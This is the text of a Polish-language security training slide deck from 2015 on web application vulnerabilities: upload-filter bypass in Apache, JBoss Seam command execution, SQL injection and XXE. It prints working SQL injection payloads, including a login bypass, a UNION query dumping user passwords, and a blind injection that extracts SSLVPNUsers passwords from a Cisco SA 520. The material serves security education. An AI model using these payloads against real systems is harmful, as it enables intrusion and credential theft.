Post on 12-Aug-2015
Wybrane podatności w aplikacjach webowych
Michał Sajdak, CISSP, CEH, CTT+
www.securitum.pl
www.sekurak.pl
O Prelegencie
Michał Sajdak <at> securitum.pl
Testy bezpieczeństwa aplikacji
Szkolenia z security - również dla testerów programistów
http://securitum.pl/
2 Copyright 2014 Securitum
www.securitum.pl
Agenda
OS Command EXEC 1. Cisco RVS 4000
2. Jak omijać filtry w uploadzie?
3. Biblioteka JBoss Seam
4. Cisco Security Appliance (jeśli będzie czas) OS Command EXEC + SQLi
5. XXE (XML eXternal Entities)
Info tylko w celach edukacyjnych!
3 Copyright 2014 Securitum
www.securitum.pl
Cisco RVS 4000
Security router
VPN, Firewall, IPS, …
4 Copyright 2015 Securitum
www.securitum.pl
Cisco RVS 4000
5 Copyright 2015 Securitum
www.securitum.pl
Upload / Apache – omijanie filtrów
Formularze zazwyczaj blokują upload plików wykonywalnych (np. php)
Edytory wizualne
Uploady CV
Etc.
Ale często stosują… blacklisting Czyli uniemożliwiają upload plików z rozszerzeniem .php / .aspx / itd
6 Copyright 2014 Securitum
www.securitum.pl
Upload / Apache – omijanie filtrów
Zagadka
W jaki sposób Apache HTTP server zinterpretuje plik:
siekiera.jpg.php.wnk2j3.tralalala.sekurak
Jako txt ?
Jako PHP ?
Jako jpg ?
7 Copyright 2014 Securitum
www.securitum.pl
8 Copyright 2014 Securitum
www.securitum.pl
OS Command Exec – JBoss Seam
Dość stara podatność
Ale będąca przykładem ogólniejszego trendu:
Używamy biblioteki X, która w momencie uruchomienia systemu jest bezpieczna
Mija Y czasu… i w bibliotece znane są krytyczne podatności
Info: Meder Kydyraliev, Seam Vulnerability, http://blog.o0o.nu/
9 Copyright 2014 Securitum
www.securitum.pl
OS Command Exec – JBoss Seam
Dość stara podatność
Można w sposób nieuwierzytelniony wywołać instancje klas… i dalej wołać metody
W szczególności Runtime.exec(„calc.exe”)
10 Copyright 2014 Securitum
www.securitum.pl
OS Command Exec – JBoss Seam
Na docelowych systemach możemy mieć różne wersje javy
Więc należy w danym przypadku zlokalizować indeksy zadeklarowanych metod:
public static java.lang.Runtime java.lang.Runtime.getRuntime()
Process java.lang.Runtime.exec(java.lang.String)
11 Copyright 2014 Securitum
www.securitum.pl
OS Command Exec – JBoss Seam
Jeśli znajdziemy starego JBossa prawie gwarancja że mamy nieuwierzytelniony OS Command Exec
Na systemach Windows – często Administrator
Podatne też inne javowe app servery
De facto jest to błąd w bibliotece nie w app serverze..
12 Copyright 2014 Securitum
www.securitum.pl
OS Command Exec – JBoss Seam
Zobaczmy
13 Copyright 2014 Securitum
www.securitum.pl
SQL injection
http://site.pl/news.php?id=10
SELECT * FROM news WHERE id = 10 AND active = 1
http://site.pl/news.php?id=10%20OR%201=1%23
SELECT * FROM news WHERE id = 10 OR 1=1# AND active = 1
14 Copyright 2015 Securitum
www.securitum.pl
SQL injection
http://site.pl/news.php?id=-1 UNION ALL SELECT user,password, NULL, NULL FROM users#
SELECT * FROM news WHERE id = -1 UNION ALL SELECT user,password, NULL, NULL FROM users# AND active = 1
15 Copyright 2015 Securitum
www.securitum.pl
SQL injection – przykład na ekranie logowania
Cisco Security Appliance (SA 520) $SQL = „SELECT * FROM users WHERE login = ‘$login’ AND password = ‘$password’
Kontrolujemy login i hasło
Zobaczmy co się stanie jeśli użyjemy jako login/password ciągu: ‘ or ‘1’=‘1
$SQL = „SELECT * FROM users WHERE login = ‘’ or ‘1’=‘1’ AND password = ‘’ or ‘1’=‘1’
Copyright 2015 Securitum www.securitum.pl
16
SQL injection – przykład na ekranie logowania
SA 500 Appliance $SQL = „SELECT * FROM users WHERE login = ‘’ or ‘1’=‘1’ AND password = ‘’ or ‘1’=‘1’
Zwraca wszystkie wiersze z tabeli
Użyjmy tego na SA500
Możemy tutaj użyć techniki blind SQL injection
Copyright 2015 Securitum www.securitum.pl
17
SQL injection – przykład na ekranie logowania
SA 500 Cel – chcemy pobrać wszystkie loginy i hasła (w plaintext)
Copyright 2015 Securitum www.securitum.pl
18
SQL injection – przykład na ekranie logowania
Następne kroki Potrzebujemy znać typ bazy danych
Potrzebujemy wiedzieć w jakiej tabeli przechowywane są dane o użytkownikach oraz:
jak nazywają się kolumny przechowujące loginy / hasła Wszystkie te informacje mogą być uzyskane dzięki analizie whitebox
Baza: SQLLite
Nazwa tabeli: SSLVPNUsers
Kolumny: Username / Password
Copyright 2015 Securitum www.securitum.pl
19
SQL injection – przykład na ekranie logowania
Pełne zapytanie pobierające użytkowników / hasła wygląda tak:
SELECT Username, Password FROM SSLVPNUsers
Ale nie możemy tego użyć bezpośrednio Ekran logowania nie wyświetla nic poza komunikatami o błędach
Copyright 2015 Securitum
www.securitum.pl
20
SQL injection – przykład na ekranie logowania
Pobierzemy więc użytkowników hasła litera po literze
Jak to zrobić? Potrzebujemy trochę praktyki z SQL ;-)
Copyright 2015 Securitum www.securitum.pl
21
SQL injection – przykład na ekranie logowania
SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0
Pobiera pierwsze hasło w bazie
substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)
Pobiera pierwszą literę pierwszego hasła w bazie
Copyright 2015 Securitum
www.securitum.pl
22
SQL injection – przykład na ekranie logowania
Nasz login będzie następujący:
‘ OR substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)=‘a’--
Co skutkuje następującym zapytaniem:
SELECT * FROM SSLVPNUser WHERE login = ‘‘ OR substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)=‘a’--’ AND password = ‘$password’
Zwraca ono „invalid username” kiedy pierwsza litera hasła != ‘a’
Zwraca ono „inny błąd” kiedy pierwsza litera hasła = ‘a’
Copyright 2015 Securitum www.securitum.pl
23
XXE (XML eXternal Entities)
Mało znany problem…ale dość istotny
W 2013 roku Reginaldo Silva otrzymał w ramach bugbounty z Facebooka $33 500
RCE z wykorzystaniem XXE
FB wypuścił patcha w 3.5h od zgłoszenia (!)
24 Copyright 2014 Securitum
www.securitum.pl
XXE (XML eXternal Entities)
Encje znany z HTML-a: < lub <
<
" ' & µ … Ogólnie:
&nazwa_encji; &#numer_encji;
25 Copyright 2014 Securitum
www.securitum.pl
Renderowanie encji w HTML
W XML-u: działa to podobnie…
26 Copyright 2014 Securitum
www.securitum.pl
XXE (XML eXternal Entities)
… możemy definiować własne encje
<!ENTITY name "value">
27 Copyright 2014 Securitum
www.securitum.pl
28 Copyright 2014 Securitum
www.securitum.pl
29
XXE (XML eXternal Entities)
Zobaczmy
http://sekurak.pl/tag/xxe/
dwa artykuły – jeden podstawowy,
drugi – bardziej zaawansowany.
30 Copyright 2014 Securitum
www.securitum.pl
Dziękuję za uwagę
Pytania?
Kontakt: michal.sajdak@securitum.pl
http://securitum.pl/
Szkolenia / testy bezpieczeństwa aplikacji
31 Copyright 2014 Securitum
www.securitum.pl
32